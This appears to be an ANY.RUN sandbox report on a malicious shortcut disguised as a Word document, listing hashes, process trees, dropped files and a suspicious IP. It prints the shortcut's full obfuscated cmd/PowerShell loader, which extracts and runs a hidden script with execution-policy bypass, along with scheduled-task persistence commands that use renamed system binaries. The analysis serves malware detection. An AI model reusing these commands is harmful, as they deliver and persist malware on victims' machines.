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File name:

TKCT quy I nam 2019.doc.lnk.malw

Full analysis: https://app.any.run/tasks/748eccd0-8a7c-4401-81ef-0902419819de
Verdict: Malicious activity
Analysis date: March 14, 2019, 14:45:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Sun Nov 21 02:24:03 2010, mtime=Sun Nov 21 02:24:03 2010, atime=Sun Nov 21 02:24:03 2010, length=302592, window=hidenormalshowminimized
MD5:

80BCDA9FDE78C70566C6F693F1C7938F

SHA1:

579C2C17E40A70BEF8FE4B2BA0EFDE2BE89B216C

SHA256:

0476EC8B4CB1B5DD368BE52D9249F5B3CF6709B3141E9D02814C05F61CB90A91

SSDEEP:

1536:1W4FUzI49mN+Ylv/j7OrvtqV734Uxe5VsKihr9uQZ0TEH1V8ajr5EUwTsG1hdUw2:H530U349VArO48ErKBL53Ut

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • powershell.exe (PID: 2908)
      • powershell.exe (PID: 2968)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1420)
      • schtasks.exe (PID: 3060)
      • schtasks.exe (PID: 884)
      • schtasks.exe (PID: 3512)

    • Application was dropped or rewritten from another process

      • winwsh.exe (PID: 2608)
      • InstallUtil.exe (PID: 3516)
      • InstallUtil.exe (PID: 2808)
      • winwsh.exe (PID: 2196)
      • winwsh.exe (PID: 3416)
      • InstallUtil.exe (PID: 2668)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2152)

    • Loads dropped or rewritten executable

      • InstallUtil.exe (PID: 2808)
      • InstallUtil.exe (PID: 3516)
      • InstallUtil.exe (PID: 2668)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2908)
      • cmd.exe (PID: 2556)
      • cmd.exe (PID: 3880)
      • powershell.exe (PID: 2968)
      • cmd.exe (PID: 2588)

    • Application launched itself

      • cmd.exe (PID: 2152)

    • Creates files in the user directory

      • powershell.exe (PID: 2908)
      • powershell.exe (PID: 2968)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2908)
      • cmd.exe (PID: 2152)
      • powershell.exe (PID: 2968)

    • Starts Microsoft Office Application

      • powershell.exe (PID: 2908)
      • powershell.exe (PID: 2968)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3596)
      • WINWORD.EXE (PID: 636)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3596)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

MachineID: win-2a9b78ts069
IconFileName: %SystemRoot%\system32\SHELL32.dll
CommandLineArguments: /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy I nam 2019.doc.lnk">%temp%\%windir:~-1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-1,1%.ps1&for /f "delims==" %i in ('dir "%temp%\TKCT quy I nam 2019.doc.lnk" /s /b') do f%windir:~4,1%ndstr /b /i "iex" "%i">%temp%\%windir:~-1,1%.ps1&p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%s -file %temp%\%windir:~-1,1%.ps1
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
LocalBasePath: C:\Windows\System32\cmd.exe
VolumeLabel: -
DriveType: Fixed Disk
TargetFileDOSName: cmd.exe
HotKey: (none)
RunWindow: Show Minimized No Activate
IconIndex: 1
TargetFileSize: 302592
ModifyDate: 2010:11:21 04:24:03+01:00
AccessDate: 2010:11:21 04:24:03+01:00
CreateDate: 2010:11:21 04:24:03+01:00
FileAttributes: Archive
Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
63
Monitored processes
24
Malicious processes
8
Suspicious processes
1

Behavior graph

Click at the process to see the details
start rundll32.exe no specs explorer.exe no specs cmd.exe no specs findstr.exe no specs powershell.exe winword.exe no specs cmd.exe cmd.exe schtasks.exe no specs schtasks.exe no specs cmd.exe no specs findstr.exe no specs winwsh.exe no specs powershell.exe installutil.exe winword.exe no specs cmd.exe no specs cmd.exe schtasks.exe no specs schtasks.exe no specs winwsh.exe no specs installutil.exe no specs winwsh.exe no specs installutil.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2924"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\TKCT quy I nam 2019.doc.lnk.malwC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2376"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2152"C:\Windows\System32\cmd.exe" /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy I nam 2019.doc.lnk">C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%%windir:~-1,1% -file C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1&for /f "delims==" %i in ('dir "C:\Users\admin\AppData\Local\Temp\TKCT quy I nam 2019.doc.lnk" /s /b') do f%windir:~4,1%ndstr /b /i "iex" "%i">C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1&p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec bypa%windir:~-1,1%s -file C:\Users\admin\AppData\Local\Temp\%windir:~-1,1%.ps1C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2736findstr /b /i "iex" "C:\Users\admin\AppData\Local\Temp\TKCT quy I nam 2019.doc.lnk"C:\Windows\system32\findstr.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (QGREP) Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2908powershell.exe -exec bypass -file C:\Users\admin\AppData\Local\Temp\s.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3596"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Bai.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3880"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe C:\Users\admin\AppData\Local\Temp\InstallUtil.exeC:\Windows\system32\cmd.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2556"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\system32\wscript.exe C:\Users\admin\AppData\Local\Temp\winwsh.exeC:\Windows\system32\cmd.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3060"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 3 /tn "Security Script kb00769670" /tr "C:\Users\admin\AppData\Local\Temp\winwsh.exe //Nologo //E:vbscript //B C:\Users\admin\AppData\Local\Temp\Win629052.txt" /FC:\Windows\system32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1420"C:\Windows\system32\schtasks.exe" /run /tn "Security Script kb00769670"C:\Windows\system32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
3 633
Read events
3 138
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
9
Text files
4
Unknown types
2

Dropped files

PID
Process
Filename
Type
2908powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6SF8GZ2297RU97NLCMP7.temp —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR282A.tmp.cvr —
MD5:—
SHA256:—
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0WUO6NRW4WPI69BI0YNT.temp —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFCEAF0A904DDAB7C5.TMP —
MD5:—
SHA256:—
3596WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFD1C8E79EA51975CD.TMP —
MD5:—
SHA256:—
636WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR38A5.tmp.cvr —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Cab424A.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Tar424B.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Cab425B.tmp —
MD5:—
SHA256:—
2808InstallUtil.exeC:\Users\admin\AppData\Local\Temp\Tar425C.tmp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
10
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2808
InstallUtil.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.2 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2808
InstallUtil.exe
144.202.54.86:443
—
Baltimore Technology Park, LLC
US
suspicious
2808
InstallUtil.exe
93.184.221.240:80
www.download.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
www.download.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
TKCT quy I nam 2019.doc.lnk.malw